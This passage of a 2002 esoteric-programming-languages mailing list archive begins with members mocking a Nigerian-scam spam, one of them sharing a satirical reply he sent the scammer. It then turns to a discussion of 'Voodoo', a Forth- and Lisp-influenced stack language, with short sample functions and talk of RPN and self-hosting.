References: <E17HRf4-000IT8-00@oiva.sange.fi> <3D052096.87A43FF6@dds.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3D052096.87A43FF6@dds.nl>
User-Agent: Mutt/1.3.24i
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: hmaon@bumba.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: hmaon@bumba.net
Precedence: bulk
X-list: misc

begin  Milo van Handel, on Mon, Jun 10, 2002 at 11:56:38PM +0200 wrote:
[...]
> while not bothering real posters since any human is smart enough to subscribe
> to the list.

I got this scam addressed to me personally twice and twice more addressed to
other lists. It's just an email harvester, I guess. 

-- 
Greg V. (hmaon)





From esoteric@oiva.sange.fi Tue Jun 11 03:36:39 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HZe0-000JzL-00; Tue, 11 Jun 2002 03:36:20 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 11 Jun 2002 03:36:12 +0300 (EEST)
Received: from web10907.mail.yahoo.com ([216.136.131.43])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17HZdq-000JzF-00
	for misc@esoteric.sange.fi; Tue, 11 Jun 2002 03:36:11 +0300
Message-ID: <20020611003606.9549.qmail@web10907.mail.yahoo.com>
Received: from [141.157.161.231] by web10907.mail.yahoo.com via HTTP; Mon, 10 Jun 2002 17:36:06 PDT
Date: Mon, 10 Jun 2002 17:36:06 -0700 (PDT)
From: Brian Connors <connorbd@yahoo.com>
Subject: Re: FOREIGN PARTNER REQUIRED.
To: HAMZA PIUS <hampius@wowmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: connorbd@yahoo.com
Precedence: bulk
X-list: misc

my conditions are as follows:

-Total anonymity -- we never meet or even check up on
each other. 
-All transactions are to be through a numbered
offshore account in the Cayman Islands. 
-In order for me to even consider doing business with
you, you must send a courier to the village of
Chatham, Massachusetts with the sum of $2000 US in
unmarked bills of denomination no greater than $20. I
have dealt with this kind of routine before and am
practiced at detecting most kinds of markings. Your
courier is to leave it in the men's room behind the
town hall on July 1 at noon with an explanation of the
plan, contained in a purple Eastpak backpack (may be
obtained at any sporting goods store in the area for
about $40). If there is no further problem and I am
satisfied with the plan, I will let you know my
decision by email within 24 hours. 

You are to send no further communication apart from an
acknowledgement that my proposal has been accepted and
that you will comply. Any other response will be
ignored and we will not do business.

/Brian

=====
--

__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com



From esoteric@oiva.sange.fi Tue Jun 11 03:37:56 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HZfW-000K02-00; Tue, 11 Jun 2002 03:37:54 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 11 Jun 2002 03:37:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HZfD-000Jzo-00; Tue, 11 Jun 2002 03:37:35 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 11 Jun 2002 03:37:28 +0300 (EEST)
Received: from web10906.mail.yahoo.com ([216.136.131.42])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17HZf4-000Jzi-00
	for lang@esoteric.sange.fi; Tue, 11 Jun 2002 03:37:27 +0300
Message-ID: <20020611003724.7152.qmail@web10906.mail.yahoo.com>
Received: from [141.157.161.231] by web10906.mail.yahoo.com via HTTP; Mon, 10 Jun 2002 17:37:24 PDT
Date: Mon, 10 Jun 2002 17:37:24 -0700 (PDT)
From: Brian Connors <connorbd@yahoo.com>
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
To: lang@esoteric.sange.fi
In-Reply-To: <20020610223818.GA2084@bumba.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: connorbd@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: connorbd@yahoo.com
Precedence: bulk
X-list: misc


--- Greg Velichansky <hmaon@bumba.net> wrote:
> begin  Milo van Handel, on Mon, Jun 10, 2002 at
> 11:56:38PM +0200 wrote:
> [...]
> > while not bothering real posters since any human
> is smart enough to subscribe
> > to the list.
> 
> I got this scam addressed to me personally twice and
> twice more addressed to
> other lists. It's just an email harvester, I guess. 

It's a slimmed-down version of the Nigerian 419 scam.
The message I just posted is a chain-yank I sent back
to the spammer just to see what happens. 

How does one relate scammage to esolanging, I wonder?

/Brian

=====
--

__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com





From esoteric@oiva.sange.fi Tue Jun 11 13:59:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HjMl-000Lxl-00; Tue, 11 Jun 2002 13:59:11 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 11 Jun 2002 13:59:04 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HjMC-000Lxb-00; Tue, 11 Jun 2002 13:58:36 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 11 Jun 2002 13:58:29 +0300 (EEST)
Received: from wells.tecc.co.uk ([195.217.37.90] helo=-f)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HjM3-000LxU-00
	for lang@esoteric.sange.fi; Tue, 11 Jun 2002 13:58:27 +0300
Received: from basingstoke.tecc.co.uk (basingstoke.tecc.co.uk [195.217.37.75])
	by -f (8.9.3+Sun/8.9.3) with ESMTP id LAA11123
	for <lang@esoteric.sange.fi>; Tue, 11 Jun 2002 11:58:26 +0100 (BST)
Date: Tue, 11 Jun 2002 11:58:26 +0100 (BST)
Message-Id: <200206111058.LAA11123@-f>
From: Mike Taylor <mike@tecc.co.uk>
To: lang@esoteric.sange.fi
In-reply-to: <3D052096.87A43FF6@dds.nl> (message from Milo van Handel on Mon,
	10 Jun 2002 23:56:38 +0200)
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
References: <E17HRf4-000IT8-00@oiva.sange.fi> <3D052096.87A43FF6@dds.nl>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
X-list: misc

> Date: Mon, 10 Jun 2002 23:56:38 +0200
> From: Milo van Handel <mwq@dds.nl>
> 
> How did this idiot get in?  Well, at least he's a Nigerian, so that
> might partially excuse his awful English.  But spam isn't acceptable
> from any country.

What, you didn't recognise it?  It's the canonical "99 bottles"
program in the SPAM language.

 _/|_	 _______________________________________________________________
/o ) \/  Mike Taylor   <mike@miketaylor.org.uk>   www.miketaylor.org.uk
)_v__/\  "If the sparkle fades from your writing, keep writing till
	 you figure out how to get it back" -- Kristin Johnson.


:-)






From esoteric@oiva.sange.fi Fri Jun 14 09:50:02 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Iks7-000981-00; Fri, 14 Jun 2002 09:47:47 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 14 Jun 2002 09:47:40 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17IkqP-00097p-00; Fri, 14 Jun 2002 09:46:01 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 14 Jun 2002 09:45:53 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17IkqF-00097j-00
	for lang@esoteric.sange.fi; Fri, 14 Jun 2002 09:45:51 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5E6jms00708
	for <lang@esoteric.sange.fi>; Thu, 13 Jun 2002 23:45:49 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
Date: Thu, 13 Jun 2002 23:46:34 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <3D052096.87A43FF6@dds.nl> <200206111058.LAA11123@-f>
In-Reply-To: <200206111058.LAA11123@-f>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206132346.34515.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 11 June 2002 03:58 am, you wrote:
> What, you didn't recognise it?  It's the canonical "99 bottles"
> program in the SPAM language.

Hmmm....  HQSPAM+.

I still exist, incidentally.  I'm working on a not-entirely-esoteric lang=
uage,=20
which was originally intended for image processing.  During development,=20
however, the language design struck me as being really interesting for=20
general-purpose development, so I'm widening the scope a bit.  Stay tuned=
=2E
For now, I'll say this: if Forth and Lisp were to have a horrid lovechild=
,=20
that abomination of nature would look a lot like this language  Think 'pu=
sh=20
the function onto the stack...'

-Cliff L. Biffle





From esoteric@oiva.sange.fi Fri Jun 14 10:52:15 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Ilqw-0009Lo-00; Fri, 14 Jun 2002 10:50:39 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 14 Jun 2002 10:50:31 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17IlqL-0009LW-00; Fri, 14 Jun 2002 10:50:01 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 14 Jun 2002 10:49:53 +0300 (EEST)
Received: from mrwaynxd-new.lnk.telstra.net ([139.130.76.194] helo=gateway.michel.com.au)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17IlqA-0009LP-00
	for lang@esoteric.sange.fi; Fri, 14 Jun 2002 10:49:51 +0300
Received: from ork (ork.michel.com.au [203.18.139.105])
	by gateway.michel.com.au (8.11.0/8.11.0) with SMTP id g5E7nfW05049
	for <lang@esoteric.sange.fi>; Fri, 14 Jun 2002 17:49:41 +1000
From: "Ryan Michel" <ryan@michel.com.au>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
Date: Fri, 14 Jun 2002 17:49:44 +1000
Message-ID: <LFEDLOFBCDOICJLLHNHBOEJMCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <200206132346.34515.cbiffle@safety.net>
Importance: Normal
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
X-list: misc

I alrady wrote a programming language like that and am in the process of
implementing it in c++.  Its called lobol (logical one bit operator
language), it is imperitive but only one bit may be looked at or modified
each instruction.  All manipulations must be pushed onto a stack and then
popped off.  Another one I am also implementing is pliptogwql (plip for
short) that uses a seperate source file to determine what functions get
pushed onto the stack and which ones do not using decisions, loops and
sequential flow control.  The inner language has no decision or iterative
operations though.

It is so much fun writing and implementing languages.

ryan

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Cliff L. Biffle
Sent: Friday, 14 June 2002 4:47 PM
To: lang@esoteric.sange.fi
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.


On Tuesday 11 June 2002 03:58 am, you wrote:
> What, you didn't recognise it?  It's the canonical "99 bottles"
> program in the SPAM language.

Hmmm....  HQSPAM+.

I still exist, incidentally.  I'm working on a not-entirely-esoteric
language,
which was originally intended for image processing.  During development,
however, the language design struck me as being really interesting for
general-purpose development, so I'm widening the scope a bit.  Stay tuned.
For now, I'll say this: if Forth and Lisp were to have a horrid lovechild,
that abomination of nature would look a lot like this language  Think 'push
the function onto the stack...'

-Cliff L. Biffle

---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002






From esoteric@oiva.sange.fi Fri Jun 14 11:26:39 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ImOB-0009Uk-00; Fri, 14 Jun 2002 11:24:59 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 14 Jun 2002 11:24:52 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ImNl-0009Ud-00; Fri, 14 Jun 2002 11:24:33 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 14 Jun 2002 11:24:25 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17ImNc-0009UX-00
	for lang@esoteric.sange.fi; Fri, 14 Jun 2002 11:24:24 +0300
Received: from xpakccp18hkqn8 (ppp6.ee.teiath.gr [195.130.107.59])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5E96UO19875
	for <lang@esoteric.sange.fi>; Fri, 14 Jun 2002 12:06:30 +0300
Message-ID: <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <E17HRf4-000IT8-00@oiva.sange.fi> <3D052096.87A43FF6@dds.nl> <200206111058.LAA11123@-f> <200206132346.34515.cbiffle@safety.net>
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
Date: Fri, 14 Jun 2002 11:21:08 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

> For now, I'll say this: if Forth and Lisp were to have a horrid lovechild,
> that abomination of nature would look a lot like this language  Think
'push
> the function onto the stack...'

You wouldn't by any chance mean 'RPL' :) .

Al.






From esoteric@oiva.sange.fi Sat Jun 15 23:52:46 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKXD-000Frb-00; Sat, 15 Jun 2002 23:52:35 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 15 Jun 2002 23:52:27 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKWX-000FrV-00; Sat, 15 Jun 2002 23:51:53 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 15 Jun 2002 23:51:45 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKWN-000FrP-00
	for lang@esoteric.sange.fi; Sat, 15 Jun 2002 23:51:44 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5FKpes32280
	for <lang@esoteric.sange.fi>; Sat, 15 Jun 2002 13:51:41 -0700
Content-Type: text/plain;
  charset="iso-8859-7"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] [voodoo] was something about FOREIGN PARTNERS :-)
Date: Sat, 15 Jun 2002 13:52:15 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206132346.34515.cbiffle@safety.net> <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8>
In-Reply-To: <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206151352.15620.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Friday 14 June 2002 01:21 am, you wrote:
> You wouldn't by any chance mean 'RPL' :) .

The first person to read over the code said that, actually.  :-)
I admit I'm not well versed in RPL (I'm a TI guy historically), but Voodo=
o=20
(working title) is a little more heavily Lisp influenced than RPL, methin=
ks. =20
But I'll have to read over my RPL documentation.

In any case, the language is a little fleshier, and here's some simple sa=
mple=20
code. The syntax will mostly be familiar to anyone who's run across Forth=
 or=20
RPL, but I'll annotate a bit.

Here's an implementation of 'min', which returns the smallest value in a =
list=20
of values.
:min
  listtype type_max
  :
    > if
      swap drop dupe
    then
    ;
  1 argwalk
  ;
Picked apart:
--listtype returns a code indicating the type of items in the list, witho=
ut=20
consuming the list reference on the stack.
--type_max consumes the type code and returns the largest value that can =
be=20
represented in that type.
--the inner :...; is an anonymous function.  It is defined at runtime, an=
d a=20
reference to it pushed onto the stack.
--argwalk takes a specified number of arguments (in this case, 1, which i=
s the=20
type_max value pushed earlier) and a reference to a function (the anonymo=
us=20
one) and then applies the function to each element of the list using the=20
given argument.

This implementation of min is type-agnostic, because functions in Voodoo =
are=20
capable of being polymorphic according to the types of their arguments (C=
++=20
and Java would say 'overloaded').  (The stack, incidentally, is typed.  P=
ush=20
an int, and it will stay an int unless you convert it.)

Here's another:

:total   # Sums all elements of a list.
  0 {+} 1 argwalk ;

(Referring to a function in {curly braces} pushes a reference to it onto =
the=20
stack, allowing it to be manipulated like the anonymous function above.)

:avg # Finds the arithmetic mean of items in a list.
  dupe total
  swap length swapunder / ;
(swapunder exchanges the two cells immediately under the topmost cell of =
the=20
stack.)

Something that may prove interesting but that I don't have sample code fo=
r yet=20
is that functions can be disassembled, reassembled, and composited at=20
runtime.  (Functions in forth have always been represented as lists, but=20
nobody realized it. :-)

I have a more complete language specification in the works.  I'll be happ=
y to=20
pass around a rough draft if anyone's interested.

-Cliff L. Biffle





From esoteric@oiva.sange.fi Sun Jun 16 00:16:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKuM-000FxJ-00; Sun, 16 Jun 2002 00:16:30 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 00:16:22 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKu4-000FxD-00; Sun, 16 Jun 2002 00:16:12 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 00:16:04 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JKtw-000Fx7-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 00:16:04 +0300
Received: from xpakccp18hkqn8 (ppp7.ee.teiath.gr [195.130.107.60])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5FLw5O27535
	for <lang@esoteric.sange.fi>; Sun, 16 Jun 2002 00:58:05 +0300
Message-ID: <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206132346.34515.cbiffle@safety.net> <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8> <200206151352.15620.cbiffle@safety.net>
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Sun, 16 Jun 2002 00:12:38 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by artemis.ee.teiath.gr id g5FLw5O27535
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

> In any case, the language is a little fleshier, and here's some simple
sample
> code. The syntax will mostly be familiar to anyone who's run across For=
th
or
> RPL, but I'll annotate a bit.
>
> Here's an implementation of 'min', which returns the smallest value in =
a
list
> of values.

It doesn't look like an esoteric language, it's rather than a powerfull
general-
purpose language (for thinking types, not VB peons). After learning about
RPN-
languages, I have started wondering what I (and the rest of the coding
world) am
doing with standard prefix/infix notation :) .

A distribution ready you will have when?

  __
.=B4  `.  Al. Andreou <ee4299@ee.teiath.gr>
| :' !  http://nemesis.ee.teiath.gr/~ee4299/
`. `=B4   As the venerable Descates once almost said,
  `-            CODITO, ERGO SUM






From esoteric@oiva.sange.fi Sun Jun 16 00:49:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLPr-000G3h-00; Sun, 16 Jun 2002 00:49:03 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 00:48:55 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLPa-000G3b-00; Sun, 16 Jun 2002 00:48:46 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 00:48:39 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLPR-000G3V-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 00:48:37 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5FLmYs02267
	for <lang@esoteric.sange.fi>; Sat, 15 Jun 2002 14:48:35 -0700
Content-Type: text/plain;
  charset="iso-8859-7"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Sat, 15 Jun 2002 14:49:10 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151352.15620.cbiffle@safety.net> <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
In-Reply-To: <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206151449.10254.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Saturday 15 June 2002 02:12 pm, you wrote:
> It doesn't look like an esoteric language, it's rather than a powerfull
> general-purpose language (for thinking types, not VB peons).

I'll be happy to write a runtime library for VB people.  It will cause th=
e=20
code to run 20% slower and occupy 200% more RAM.  :-)
(I was a professional VB programmer for five years during the era where t=
hey=20
were trying to decide whether to really go OO or not.  That was....fun.)

It (Voodoo) started out rather esoteric; it was intended to be an image=20
permutation language that could produce small cross-platform binaries tha=
t=20
you could then apply to images using a simple VM.  (I do a lot of web wor=
k=20
using the GD libraries; this is just a level of abstraction beyond them.)=
 =20
However, it's started to become general-purpose.  Perhaps I should move=20
discussion to the chat list? :-)

Incidentally, since this language is semi-functional, can someone explain=
 to=20
me how monads are different than global variables? :-)

> After learning about RPN-languages, I have started wondering what I
> (and the rest of the coding world) am doing with standard prefix/infix
> notation :) .

Mentioning Forth around programmers typically gets me a look of revulsion=
,=20
until I walk them through how RPN works.  Then, I see the light go on.  "=
You=20
mean, we don't -need- parentheses?"  :-)
At the university I briefly founded a Society for Reverse Polish Notation=
,=20
abbreviated (of course) NPRS.  Because I'm a smartass like that.

> A distribution ready you will have when?

Documentation should be ready within the next couple of days, which inclu=
des=20
the list of pre-defined functions and virtual machine spec.  I hope to st=
art=20
on the actual implementation tonight, it being a Saturday and me being a=20
geek. :-)
Like Forth, I intend to implement Voodoo in Voodoo with the exception of=20
operations I consider atomic (such as addition).  (I consider this=20
self-hosting one of the more powerful aspects of Forth -- the fact that e=
ven=20
things like 'if' are generally written in the language itself.)  This wil=
l=20
allow built-in functions to be altered or redefined at runtime just like=20
user-defined functions.  (Whether or not this is a good idea is left as a=
n=20
exercise to the programmer. :-)

I also hope to take advantage of some of the four decades of research int=
o=20
Forth to produce a native-code compiler for Voodoo.  But we'll see. :-)

-Cliff L. Biffle





From esoteric@oiva.sange.fi Sun Jun 16 01:06:47 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLgw-000G8v-00; Sun, 16 Jun 2002 01:06:42 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 01:06:35 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLgd-000G8p-00; Sun, 16 Jun 2002 01:06:23 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 01:06:16 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JLgU-000G8j-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 01:06:14 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5FM68s03003
	for <lang@esoteric.sange.fi>; Sat, 15 Jun 2002 15:06:08 -0700
Content-Type: text/plain;
  charset="iso-8859-7"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] [voodoo] Obligatory Examples
Date: Sat, 15 Jun 2002 15:06:48 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151352.15620.cbiffle@safety.net> <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
In-Reply-To: <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206151506.48493.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
